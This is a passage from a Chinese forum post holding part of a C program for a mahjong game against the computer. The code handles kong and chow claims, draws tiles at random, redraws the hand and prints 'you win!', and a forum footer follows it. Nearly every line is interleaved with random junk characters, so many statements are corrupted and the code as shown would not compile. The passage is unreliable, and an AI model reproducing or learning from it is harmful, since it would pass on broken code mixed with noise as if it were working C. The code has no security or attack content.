! K* i8 Q/ |* a# xif(me.m==6): t, d9 P0 o. o; ^
if(second==1 &amp;&amp; threes==2). `( t: q5 U, b  b8 d3 z8 ]2 h
printf("you win!");
7 M8 C' c3 }2 f1 |& n5 Lif(me.m==9)( w  c* K* y5 G4 Z3 a$ v& C. Y! L2 e
if(second==1 &amp;&amp; threes==3)
* ^- J% z9 C& q4 @. \, \/ x. Gprintf("you win!");
4 h  v7 N# p! e  w7 zif(me.m==12)
( z/ `* A3 {" }if(second==1 &amp;&amp; threes==4)/ E* V2 i: V. v& Z6 N; p, d1 R7 B
printf("you win!");/ ?& |/ O" r+ g. Y1 {

4 G) o) u+ m+ \8 c" A0 Qkkk=0;) J* G. \2 s6 I2 n! e
kkkk=0;
/ @. z3 v2 I2 ywhile(kkk&lt;=computer.m)# G$ l  f, ~7 j9 L9 r+ N; d
{' Q% L" O0 [& ^' z! Y* n
if(kkk!=temp)
; X- g5 C, L/ k3 K0 E! w{* t6 Y$ p" T6 e
comp.pp[kkkk].k=computer.pp[kkk].k;
  i  L5 n/ ^: u3 b# Jcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
; P% y7 J$ g5 g9 S  k) r. y' rcomp.pp[kkkk].number=computer.pp[kkk].number;4 h" S  a" |3 x+ F" d3 U# n  a: a
kkkk++;
* i# y# v/ U) C6 X}
+ g  k' ]: _1 e) `else( N* H: G* T7 J" [, T2 j* g
m[computer.pp[kkk].number].data1=1;) x. ^  o. e. i% y: u; i
kkk++;
+ Q! f4 g8 ]6 J" ?5 u5 b! X}) t  j0 r4 T& Q0 U+ P, ~+ s) s
kkk=0;3 m: ?7 ^1 R% s, J& U
computer.m=computer.m-1;9 I9 S% \0 P7 C
while(kkk&lt;=computer.m) 9 {# ^1 E- F/ _
{
  W9 i/ `1 r- b2 `3 R0 [* Jcomputer.pp[kkk].k=comp.pp[kkk].k;
( p% G1 F$ N/ ^9 @0 F5 A1 vcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;! e  u  b6 {6 s. q5 T
computer.pp[kkk].number=comp.pp[kkk].number;
4 w* ?/ {: Y( h" u6 e# C6 L+ G, Lkkk++;$ v; K( h4 t/ {/ l% w
}
# L8 }2 y2 p2 ~$ mfillRectangle(0,0,320,30,0);
6 w' D! U0 G- m% N) z8 p1 {& Xn=computer.m;, I# T1 W; w, v+ \+ `3 g
ll=0;
0 I0 o% N+ J1 v% O' _zy=0;
( `8 Q+ G, B+ \* K2 bwhile(ll&lt;=n)
' ^& [3 X9 S8 w/ G0 i: }{
, y6 l7 K9 ]+ ^! A7 C* Zzy=zy+20;
1 g. w4 j, w- Cshowybmp(ll);
5 m# ], p- w( T& i0 [$ jll++;
" N) R' S; m4 r/ W3 c}, B" p% l  ]6 K) H: p
ll=0;4 _( l( x! _' m$ A" r2 I6 Q
getch();1 l& ]+ S2 P6 z4 ^2 q8 ?
sing=0;
0 Y3 b" S2 E- N0 n1 u8 Jsing1=1;4 Q) m+ ?1 D+ J$ m% Q6 A0 v
}
8 y; e: H# [) S; ^
) l# p3 H0 d5 r$ F; l: Xif(sing==2) /*如果可以杠的做相应处理*/0 A  r2 v# V! B) h
{
6 r+ S2 R8 Y4 Wkkk=0;
7 S  C* k& B( N! g( {) g, Tkkkk=0;- s. h# y0 W' g% m
while(kkk&lt;=computer.m)
% }' A- d; K7 u% X1 s: |{
( C7 X6 R; T* \8 r( w7 k. Zif(computer.pp[kkk].g!=1)
! X# ~7 B. @4 K/ u3 u{$ `* C/ b, N* k* \4 s. @2 H9 J
comp.pp[kkkk].k=computer.pp[kkk].k;% Z/ }, ~5 \' @( |7 o
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;' A, V9 k8 m& H" E- B  M5 \
comp.pp[kkkk].number=computer.pp[kkk].number;8 p% q1 k, x. `0 H  f5 }4 y5 V! J) z
kkkk++;7 g0 X, N9 \8 `" U8 G) a# a6 E
}/ i8 k( X  \8 B/ U5 l
else
( B! x5 s9 `1 O* J1 `{$ z( ?4 ?/ c# U, q' r
m[computer.pp[kkk].number].data1=1;
! F9 |: Q" r+ ldweig=computer.pp[kkk].number;
: z$ v8 O" F0 `  k/ \computer.pp[kkk].g=0;6 N2 }% ?( ^8 o3 w1 N
}# e  V, }& D, ]& ~9 R
kkk++;4 @8 j0 C/ x& L1 M2 U/ \
}/ d- j% \6 m  j( u! n
ll=0;
4 R+ g" P" Q. D; F3 U' D1 P" x$ x1 y- R
while(ll&lt;=3)
, X1 L" X5 X4 a% X% o{ zl=zl+20;) _" N6 v( b+ b# l
bmpp(dweig); /*显示杠的牌*/
) R! U8 ~; f( cll++;
% O" t- L% Z! j}
* x) h$ R+ o) D7 O7 V1 l; Kzl=zl+9600-60;
5 D0 g/ j( }/ w, g% M' y8 tkkk=0;
9 o/ K& z4 ~7 Bcomputer.m=computer.m-3;  ~; m2 }# j% D. {$ a
while(kkk&lt;=computer.m)
! l! d% W1 F6 P' F7 r{
' u1 N, [) w2 _6 i6 r3 c) gcomputer.pp[kkk].k=comp.pp[kkk].k;
* L$ _' i6 b0 C: |% |+ J. e6 Fcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;# v3 D3 l" ]  R/ a
computer.pp[kkk].number=comp.pp[kkk].number;! f; d) b6 ^7 k
kkk++;
* Q/ S# [# J) V}" ]6 b% K# V" h) r* q" h
kk=0;) ]) Y# p% p2 d9 W; I8 V8 J6 k
computer.m++; /*加一个牌的容量*/
) H9 p0 l3 r! A; Ywhile(kk!=1)
7 W" X7 s$ y5 u- k{9 `) W& F2 V/ m6 J! c) B
temp=random(136); /*出牌*// `! H: ^8 {+ h$ }& z& E
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)/ N4 Y! P- N6 b( }$ v% e" W4 L
{5 o" e' a; {- O" _5 d
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/+ s3 ?. {4 o1 u4 w% f* N8 H2 M, l
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
! x7 m) Z9 C4 R3 C" g% J- ]' e5 W; lcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/
. A+ F! \0 A( P1 xm[temp].data2=2; /*判断牌是谁的,2为电脑*/  l4 @6 l5 d% t$ e/ A
kk=1;1 ~, d. }- ?& c/ X; M8 j
}
) l. A9 s5 I1 C. k}
$ v* i' I! m( s# q# \8 h7 Icomlipai();" w1 k; R' u1 `9 ]( o" l8 ?
temp=random(computer.m); /*出牌,等待完善*/
) D/ v" P. I4 \, l; Fzyy=zyy+9280+20;- n, q6 Z! U7 H5 f6 H" M
showcbmp(temp);/ y( f- Q$ E3 s5 z& V& l3 j6 B
zyy=zyy-9280;
+ ]! B+ U4 |. i! O3 c+ F/*****/
5 ]" |0 [: h1 A: Urgznme(temp);8 q& F  ]# @; {. S9 r8 ?$ l' w
panduan();
$ H4 F3 `3 `( L: Dif(me.m==0)* {* r& s) ^2 y+ ?8 X8 u1 n5 \; w: j% I
if(second==1 &amp;&amp; threes==0)
/ T, e5 p% e8 @: ?' W& D3 Xprintf("you win!");( K5 u" r# x! m% z% ?
if(me.m==3)/ l9 j# u5 M$ I4 x, m6 Y
if(second==1 &amp;&amp; threes==1)- p5 e" N% \3 g1 t7 o9 N
printf("you win!");; Z8 X! n; \. H& f
if(me.m==6)
) Y! f1 M  h1 @5 Q* g; Z# H: bif(second==1 &amp;&amp; threes==2)# t5 g, N1 v, A& B3 |& E' Z
printf("you win!");) |+ ]  \- d9 P, ~* D) r1 A
if(me.m==9), J+ x! U- Y6 w
if(second==1 &amp;&amp; threes==3)
' g* C. N5 A" G! ]printf("you win!");- j+ P8 i9 A# U5 U5 w
if(me.m==12)
  |5 u; T/ ^5 H4 Q; N% J. `if(second==1 &amp;&amp; threes==4), ^, V$ I6 \$ R1 {! ^8 Z. T
printf("you win!");
' s) F: m- p) g. W
! R+ R5 Z9 X' l' S- L8 skkk=0;
! Y( d3 U8 a* ?/ b1 I; e- `kkkk=0;7 P- Y7 ~! D" S( W. c
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/# p* ?7 O1 A; T! j. R# R1 w
{1 Z1 e) G  I5 h
if(kkk!=temp)
/ v1 N) U1 `* Q: N! ~( E{
4 Y5 d' u. z' [comp.pp[kkkk].k=computer.pp[kkk].k;
% m+ ?- _; A, l6 w% Jcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
/ q' B/ V2 ^6 Q. g! @! M# E) [comp.pp[kkkk].number=computer.pp[kkk].number;
- b2 z2 N% [3 [+ S9 ]- R' Okkkk++;
# U% H: Y9 G% R* P6 b}
9 _: x3 R. ~2 P7 b) ]: gelse
  Z+ {; n$ J; T, N/ P$ sm[computer.pp[kkk].number].data1=1;
" @# F; f; B9 g2 f! l+ y$ U& vkkk++;& [( _& D5 I& i. q' a
}/ ~; b' Y: s) K0 Z
kkk=0;& I: L9 z8 b6 x' g+ @
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/7 A3 T" \% N9 q1 W9 d
while(kkk&lt;=computer.m)
/ q% @! r; ~$ U8 N- H# j8 \{% E& X+ [& g; n" e& b/ B
computer.pp[kkk].k=comp.pp[kkk].k;
$ V% U7 }* x- \9 x, h' J6 Q' \2 J3 Ucomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
+ D' l# X% T' C7 S+ e1 v( Bcomputer.pp[kkk].number=comp.pp[kkk].number;( e: N+ c5 B5 g: i; \1 u8 Z
kkk++;. T) ~- u* z1 s- |4 G) [
}
& l( @) {1 g, g9 ~6 J( f+ o3 tfillRectangle(0,0,320,30,0);
/ \4 R: H* k8 Dll=0;
7 \/ w% j+ S+ t& t) {zy=0;6 e& b) g3 b' F& K( M! n4 }8 c; I
while(ll&lt;=computer.m)
1 u% M4 t0 K: M2 `{" W1 }7 l* X! {/ a0 G" t
zy=zy+20;
) B& }3 y: i% n9 Ushowybmp(ll);
: u# t/ w+ k* j0 N6 Wll++;# e3 e6 \6 u0 ?
}
8 j- q& T& ^2 V+ Vsing=0;
+ X' U8 k* \8 O9 v( asing1=1;
$ a* s. x! \5 {3 ?) K}. G0 b; F$ t$ S1 i$ o9 N" W# k
if(sing==7) /*如果可以吃的,做相应处理*/' m, i! M% U) B8 J) a& {2 a
{ nn=0;
; l- I# a) w- S4 {, U0 P. t3 Q, W! Akkk=0;
1 v' x  c. Y  s7 M1 d0 ikkkk=0;6 ?5 z7 `8 k- k, H+ a& u  B$ O
while(kkk&lt;=computer.m)! @" M  N, r2 J7 D
{
' {  D! \. s7 O: A7 M$ G, Z1 Uif(computer.pp[kkk].c!=1)
/ w4 a2 C! P/ V) e2 [: {{
9 F- B8 K1 p) [2 b$ M% [" {( Ccomp.pp[kkkk].k=computer.pp[kkk].k;+ n( o+ ~: L" z! l2 P; n  n4 l. u. l
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
0 U( T* E+ Q5 b3 @/ C7 ~5 }2 Ocomp.pp[kkkk].number=computer.pp[kkk].number;
  L7 ^% x# k2 o' j  hkkkk++;& J+ u  ^; h* g4 t# u& }/ ]
}
5 P" ^# g  [: ]7 D! yelse/ o) w+ U, s* e8 C% ?1 l: i
{0 T' h: c% I; A& B
m[computer.pp[kkk].number].data1=1;
. T" y) P; E. k3 h7 I+ r/ hdw[nn++]=computer.pp[kkk].number;
. y3 n6 L$ f$ i" K6 ?computer.pp[kkk].c=0;
: l  y- o+ w/ G  C5 M; P3 ]- |}
  d0 t; c3 e8 H- x, P5 h6 bkkk++;) q) X8 K% U4 h, X# F
}0 w; ?2 M% X% S; O: X4 ^

* y  ^0 o2 E1 S( Yif(me.pp[every].number&lt;dw[0])
5 V3 M4 E- n0 j% k) W! G- i{
/ I$ `. h8 O; @) b6 G) ndw[2]=dw[1];" @$ o; _/ ?3 r# q0 l3 L4 l1 h
dw[1]=dw[0];/ w" `+ m. W( N4 P: Z
dw[0]=me.pp[every].number;
3 \, k# g& k# }" O) d4 M& `}
" U! E% `" {8 L. Kif(me.pp[every].number&gt;dw[1])' Z  K" ~; g  U: T5 `+ l4 |
{4 J& Q) Z7 j) q9 H( E- }3 a
dw[2]=me.pp[every].number;; Q; i; L$ a2 d6 Y" W1 `7 m- U
}
9 L2 F' V1 S# Y: p4 ^7 d* o- O/ uif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])0 S5 t# l6 h% a* k+ G& T% Y% G
{# ~" Q$ _3 k) w0 P- W- T$ X
dw[2]=dw[1];$ d( ]! n% c! i! j
dw[1]=me.pp[every].number;
, @' I5 v0 k0 ?# x6 Z}
# d! n# p. Y3 S  a7 M9 B+ Qnn=0;
( ^: {5 \( u$ \) W. t( b( jwhile(nn&lt;3)
. n" S5 S9 s% A. ^, |{ zl=zl+20;
( j$ V$ {2 E3 W8 D! h; [bmpp(dw[nn]); /*显示吃的牌*/
3 Y! h, X1 F0 o# Onn++;
* W3 c7 m- c  ]1 F}" V5 W1 ]: p" t  s
zl=zl+9600-60;
* t; a5 h/ R( h/ u8 _6 \% f) `kkk=0;
  W( H/ q1 e1 Icomputer.m=computer.m-2;$ F7 {4 Y0 k& ?8 x: f2 R1 |
while(kkk&lt;=computer.m)
$ }5 q5 f' n# v. w9 q{
* ?( p, W+ |# Gcomputer.pp[kkk].k=comp.pp[kkk].k;/ y9 q3 Q7 O' C" V$ W( f! }3 Q
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
. o  C3 ^+ P4 V, I  y$ a# S( ~computer.pp[kkk].number=comp.pp[kkk].number;
" U% ~; Q  q- Rkkk++;9 T9 ?, T: ^# f& z/ z
}  P5 e, _6 M* q- B$ h: M$ L; y
ll=0;2 p- }5 L" ?6 Q# d' R8 t9 L
temp=random(computer.m); /*出牌等待完善*/& K2 e" P; B7 N
zyy=zyy+9280+20;" m: r. ]+ |& Q; k  @% T0 R9 d
showcbmp(temp);/ G8 D* a* @3 }
zyy=zyy-9280;
9 @+ d5 k6 C# S/*****/. ?. W, m7 W1 p% M  m& @/ ]' `
rgznme(temp);
% F# |/ b5 ?! v6 Vpanduan();
+ k3 A: G/ n6 M0 Z% ~if(me.m==0), d) R* |- M/ r. n
if(second==1 &amp;&amp; threes==0)) Q7 l6 F8 ?# I) H# I7 s9 N3 M2 _
printf("you win!");5 k$ K$ w7 ?* f2 I- O8 ], h
if(me.m==3)
3 D" F- V& P: b' @/ S, H4 m# J6 dif(second==1 &amp;&amp; threes==1)
9 v- N2 J! j4 Y# {- X4 Z$ Uprintf("you win!");8 E. q) {/ s8 f! z% j0 o& W
if(me.m==6)
* F( C7 t( @" E0 T+ {( e) D- Oif(second==1 &amp;&amp; threes==2)# ~$ s* T' O/ ~  {& m: P
printf("you win!");/ i  z% X/ Z* Q& c; Q# c* `1 k
if(me.m==9)" z, c. g" c6 |1 Z
if(second==1 &amp;&amp; threes==3)
1 U+ H1 d5 O/ R* M8 w  ?printf("you win!");3 B4 }. R$ @3 i" h" g% ?- y- u2 ?
if(me.m==12)
2 V& X  J; ~% X$ X( {$ a7 sif(second==1 &amp;&amp; threes==4)( z% A: ?% T  f! r% I5 Z" i/ z
printf("you win!");
0 A9 `5 j) g3 o3 B+ t3 z, w
# A: G" ^5 F7 @- I# g- K6 Dkkk=0;1 y+ `$ w; e3 |0 C3 f
kkkk=0;
2 K( z  g) \9 iwhile(kkk&lt;=computer.m)
- B/ q: r! @- x{
1 j3 P: y3 N5 B6 Iif(kkk!=temp)
4 V, y2 x4 N0 c2 N/ i5 D{$ P* Y1 a+ Q: i% g  g
comp.pp[kkkk].k=computer.pp[kkk].k;3 O+ }! r( k- n+ i' v
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
2 f9 Q; ^0 R' w0 xcomp.pp[kkkk].number=computer.pp[kkk].number;2 `! z5 W( d2 ?9 b1 A/ g: k% Y
kkkk++;% f; d% @/ z8 ^" c; J: W
}
% M0 O* m) q+ `6 Q! ?5 zelse3 Q- k; ^6 Z' ]5 ^
m[computer.pp[kkk].number].data1=1;
0 k: c( Y3 c: S6 Gkkk++;9 C# G& N; |" i4 l7 ]: s
}
2 r7 x. X/ {9 C+ U& |kkk=0;
; K( Q: U3 w2 ?* D% n; qcomputer.m=computer.m-1;6 m6 y2 ^+ q+ [  {
while(kkk&lt;=computer.m)
/ t5 o6 l# A6 O{  A5 ~/ r  y1 N6 d+ E1 M
computer.pp[kkk].k=comp.pp[kkk].k;2 E( f, s3 C  h$ t" B6 d5 f
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;! d; r# ?( z4 i" ]; k
computer.pp[kkk].number=comp.pp[kkk].number;* t7 e' g: a+ O2 z2 n+ p
kkk++;" H. _2 N& @& W& q% {
}, m8 p5 B2 l- X4 [: i* i& }
fillRectangle(0,0,320,30,0);
. B/ e2 q" ~) u' _% I; r  r# Yn=computer.m;( u5 B$ R$ \* h& N
ll=0;& e3 I0 d" r  W$ h4 e2 K* e
zy=0;
; J, d* @( {$ g& A9 lwhile(ll&lt;=n)
; T  L( y( C" X9 j  W3 t{) n% e# E3 t5 F+ X" `$ y$ K/ Q
zy=zy+20;
# I( k$ i; {3 D9 ishowybmp(ll);
$ H7 M7 R) Q& @6 {ll++;+ N  y0 c- ?2 W/ B
}7 C5 w/ K% N6 w/ G3 E3 f  E

: Q8 ^$ S8 N' I) {9 V" ^/ Vgetch();" U: X% P# q! j
sing=0;
7 }/ F/ F1 q1 g. Psing1=1;
$ _6 J, M" E5 \' k9 _}7 |/ [) k  G  B; l& I
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/8 l  D5 @9 ^2 v3 }
{
6 Y$ B7 o% P$ I$ Mkk=0;! I* @- V8 m& ?5 I6 ]
h=me.pp[every].number;& Q! d* T' `* j9 P2 D  e  g4 X3 B. Y6 |
m[h].data1=1; /*此牌已经无用*/
! [+ q; E6 O( @1 Z7 B) Uif(sing1!=1)
+ B8 D8 ?6 \+ L9 K{' H% }% F& m  C! `
zyy=zyy+9280+20;
& S# |4 H' H- vshowbmpd(every);4 ^- V3 `' S. L3 D7 H3 Y4 v
zyy=zyy-9280;
" [1 x7 f9 T7 T* h}
+ w* b+ j* F* Y; J6 s! p% m1 \3 Zwhile(kk!=1)
2 Y+ e. z$ w1 c" U5 J/ m4 O8 _- h% R{
& z7 Z# l: k1 t2 Qtemp=random(136);
# M$ @/ I) ~6 c5 aif(m[temp].data2==0 &amp;&amp; m[temp].data1==0); J0 m* t5 P# O- O% R& B
{
, }1 i/ p# f; zme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/. _) ]% L6 V) o4 C
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
$ l. `5 e: _% l0 fme.pp[every].number=temp; /*第几张,用来排序*/
2 y5 e: L% E& |, S! k. l/ Z0 G2 v# B9 T) [m[temp].data2=1; /*判断牌是谁的*/
$ ^2 D8 U$ w: vkk=1;* O2 {3 B" e+ B' I( {; V& g
}& W/ V5 @( J  y1 o  ?% @( a
if(kk==0) /*判断如果又选择了,就从新再选*/
( Y- {/ ?; @' m. fkk=0;
6 Y. P0 B6 P6 ^& I8 I/ t}
4 r+ w  |- P- f: V  |; ]3 C}
  \0 @3 J5 Q5 ising=0;8 H8 k' ?" s' k/ R
sing1=0;
" J! Y( o4 {2 D8 r, O1 U& Hmelipai();# N/ n: T. l* l, l# s% _( X: O
n=13;
/ z% n% I' x$ p: Y8 u4 s) Gz1=54400;, q6 A7 ^4 j# g& D, n3 a9 G6 s3 {; f7 D
l=0;$ V0 L' h5 h5 w1 V) G
g=z;
9 [1 y$ i  _4 p! V% r1 X! @while(l&lt;n)2 X) N6 s" S' P6 [7 m; \0 `0 K$ ], d
{ z=0;' B( f% n! @5 q- u* i9 k) _
z1=z1+20;- n5 Z2 Q$ T8 {$ ]1 V8 g
showbmp(l);
8 n& m! e; C, G  ]: D! Dl++;
9 F5 ^/ `- H1 l2 X2 _, A}7 Z4 l2 K" x, C( U  K" G: ~9 B9 c8 u
z1=0;
. ~! W# @) |1 x$ v, i$ r( Cz=g;1 \9 E6 T7 k* a( K: i
}1 D: s7 C" w- J, L0 W
keyy=0;4 m# K0 I% U- b& a# I# ?
}5 E. Q; K- `9 |( o# H
9 I6 [0 `- Y- ~7 ~
getch();
! n$ j- e/ \4 C3 S$ ~$ H: }; bOUTVGA;! K+ n) i2 g' Z7 b  Q. d4 W9 u
} $ s9 l6 f5 g" e" q3 f  h8 y
</P></DIV>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-7-19 17:27 , Processed in 0.721880 second(s), 90 queries .

回顶部